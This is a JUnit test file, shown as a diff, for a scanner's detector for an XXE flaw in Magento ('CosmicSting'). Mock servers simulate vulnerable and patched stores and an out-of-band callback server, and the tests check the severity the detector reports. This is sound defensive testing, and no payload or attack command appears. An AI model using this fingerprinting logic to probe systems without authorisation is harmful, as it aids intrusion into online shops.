+import java.io.IOException;
+import java.time.Instant;
+import javax.inject.Inject;
+import okhttp3.mockwebserver.Dispatcher;
+import okhttp3.mockwebserver.MockResponse;
+import okhttp3.mockwebserver.MockWebServer;
+import okhttp3.mockwebserver.RecordedRequest;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/** Unit tests for {@link MagentoCosmicStingXxe}. */
+@RunWith(JUnit4.class)
+public final class MagentoCosmicStingXxeTest {
+
+ private final FakeUtcClock fakeUtcClock =
+ FakeUtcClock.create().setNow(Instant.parse("2024-08-28T13:37:00.00Z"));
+
+ @Bind(lazy = true)
+ @OobSleepDuration
+ private final int oobSleepDuration = 0;
+
+ @Inject private MagentoCosmicStingXxe detector;
+ private MockWebServer mockWebServer = new MockWebServer();
+ private MockWebServer mockCallbackServer = new MockWebServer();
+
+ private static final String MOCK_MAGENTO_VERSION = "Magento/2.4 (Mock)";
+ private static final String MOCK_CURRENCY_ENDPOINT_RESPONSE =
+ "{\"base_currency_code\":\"USD\",\"base_currency_symbol\":\"$\",\"default_display_currency_code\":\"USD\",\"default_display_currency_symbol\":\"$\",\"available_currency_codes\":[\"USD\",\"EUR\"],\"exchange_rates\":[{\"currency_to\":\"USD\",\"rate\":1},{\"currency_to\":\"EUR\",\"rate\":0.7067}]}";
+ private static final String PATCHED_INSTANCE_RESPONSE = "{\"message\":\"Invalid data type\"}";
+ private static final String VULNERABLE_INSTANCE_RESPONSE =
+ "{\"message\":\"Internal Error. Details are available in Magento log file. Report ID:"
+ + " webapi-deadbeef1337\"}";
+
+ @Before
+ public void setUp() throws IOException {
+ mockWebServer = new MockWebServer();
+ mockCallbackServer.start();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mockCallbackServer.shutdown();
+ mockWebServer.shutdown();
+ }
+
+ private void createInjector(boolean tcsAvailable) {
+ Guice.createInjector(
+ new FakeUtcClockModule(fakeUtcClock),
+ new HttpClientModule.Builder().build(),
+ FakePayloadGeneratorModule.builder()
+ .setCallbackServer(tcsAvailable ? mockCallbackServer : null)
+ .build(),
+ Modules.override(new MagentoCosmicStingXxeBootstrapModule())
+ .with(BoundFieldModule.of(this)))
+ .injectMembers(this);
+ }
+
+ @Test
+ public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability()
+ throws IOException {
+ ImmutableList httpServices = mockWebServerSetup(true);
+ TargetInfo targetInfo =
+ TargetInfo.newBuilder()
+ .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
+ .build();
+
+ createInjector(true);
+ mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse());
+
+ DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
+
+ DetectionReport expectedDetection =
+ generateDetectionReportWithCallback(targetInfo, httpServices.get(0));
+ assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection);
+ assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
+ assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1);
+ }
+
+ @Test
+ public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability()
+ throws IOException {
+ ImmutableList httpServices = mockWebServerSetup(true);
+ TargetInfo targetInfo =
+ TargetInfo.newBuilder()
+ .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
+ .build();
+
+ createInjector(false);
+
+ DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
+
+ DetectionReport expectedDetection =
+ generateDetectionReportWithResponseMatching(targetInfo, httpServices.get(0));
+ assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection);
+ assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
+ assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0);
+ }
+
+ @Test
+ public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException {
+ ImmutableList httpServices = mockWebServerSetup(false);
+ TargetInfo targetInfo =
+ TargetInfo.newBuilder()
+ .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
+ .build();
+
+ createInjector(true);
+ mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse());
+
+ DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
+
+ assertThat(detectionReports.getDetectionReportsList()).isEmpty();
+ assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
+ assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1);
+ }
+
+ @Test
+ public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability()
+ throws IOException {
+ ImmutableList httpServices = mockWebServerSetup(false);
+ TargetInfo targetInfo =
+ TargetInfo.newBuilder()
+ .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
+ .build();
+
+ createInjector(false);
+
+ DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
+
+ assertThat(detectionReports.getDetectionReportsList()).isEmpty();
+ assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
+ assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0);
+ }
+
+ private DetectionReport generateDetectionReportWithCallback(
+ TargetInfo targetInfo, NetworkService networkService) {
+ String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION;
+
+ return DetectionReport.newBuilder()
+ .setTargetInfo(targetInfo)
+ .setNetworkService(networkService)
+ .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli()))
+ .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
+ .setVulnerability(
+ Vulnerability.newBuilder()
+ .setMainId(
+ VulnerabilityId.newBuilder()
+ .setPublisher(VULNERABILITY_REPORT_PUBLISHER)
+ .setValue(VULNERABILITY_REPORT_ID))
+ .setSeverity(Severity.CRITICAL)
+ .setTitle(VULNERABILITY_REPORT_TITLE)
+ .setDescription(VULNERABILITY_REPORT_DESCRIPTION_CALLBACK)
+ .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)
+ .addAdditionalDetails(
+ AdditionalDetail.newBuilder()
+ .setTextData(TextData.newBuilder().setText(additionalDetails))))
+ .build();
+ }
+
+ private DetectionReport generateDetectionReportWithResponseMatching(
+ TargetInfo targetInfo, NetworkService networkService) {
+ String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION;
+
+ return DetectionReport.newBuilder()
+ .setTargetInfo(targetInfo)
+ .setNetworkService(networkService)
+ .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli()))
+ .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
+ .setVulnerability(
+ Vulnerability.newBuilder()
+ .setMainId(
+ VulnerabilityId.newBuilder()
+ .setPublisher(VULNERABILITY_REPORT_PUBLISHER)
+ .setValue(VULNERABILITY_REPORT_ID))
+ .setSeverity(Severity.HIGH)
+ .setTitle(VULNERABILITY_REPORT_TITLE)
+ .setDescription(VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING)
+ .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)
+ .addAdditionalDetails(
+ AdditionalDetail.newBuilder()
+ .setTextData(TextData.newBuilder().setText(additionalDetails))))
+ .build();
+ }
+
+ private ImmutableList mockWebServerSetup(boolean isVulnerable)
+ throws IOException {
+ mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable));
+ mockWebServer.start();
+ return ImmutableList.of(
+ NetworkService.newBuilder()
+ .setNetworkEndpoint(
+ forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort()))
+ .setTransportProtocol(TransportProtocol.TCP)
+ .setServiceName("http")
+ .build());
+ }
+
+ static final class EndpointDispatcher extends Dispatcher {
+ EndpointDispatcher(boolean isVulnerable) {
+ this.isVulnerable = isVulnerable;
+ }
+
+ private final boolean isVulnerable;
+
+ @Override
+ public MockResponse dispatch(RecordedRequest recordedRequest) {
+
+ if (recordedRequest.getMethod().equals("GET")
+ && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT_PATH)) {
+ // Version detection request
+ return new MockResponse()
+ .setResponseCode(HttpStatus.OK.code())
+ .setBody(MOCK_MAGENTO_VERSION);
+ } else if (recordedRequest.getMethod().equals("GET")
+ && recordedRequest.getPath().equals("/" + CURRENCY_ENDPOINT_PATH)) {
+ // Magento identification request
+ return new MockResponse()
+ .setResponseCode(HttpStatus.OK.code())
+ .setHeader("Content-Type", "application/json; charset=utf-8")
+ .setBody(MOCK_CURRENCY_ENDPOINT_RESPONSE);
+ } else if (recordedRequest.getMethod().equals("POST")
+ && recordedRequest.getPath().equals("/" + VULNERABLE_ENDPOINT_PATH)) {
+ // Exploit attempt
+ if (isVulnerable) {
+ return new MockResponse()
+ .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code())
+ .setBody(VULNERABLE_INSTANCE_RESPONSE);
+ } else {
+ return new MockResponse()
+ .setResponseCode(HttpStatus.BAD_REQUEST.code())
+ .setBody(PATCHED_INSTANCE_RESPONSE);
+ }
+ } else {
+ // Anything else, return a 404
+ return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code());
+ }
+ }
+ }
+}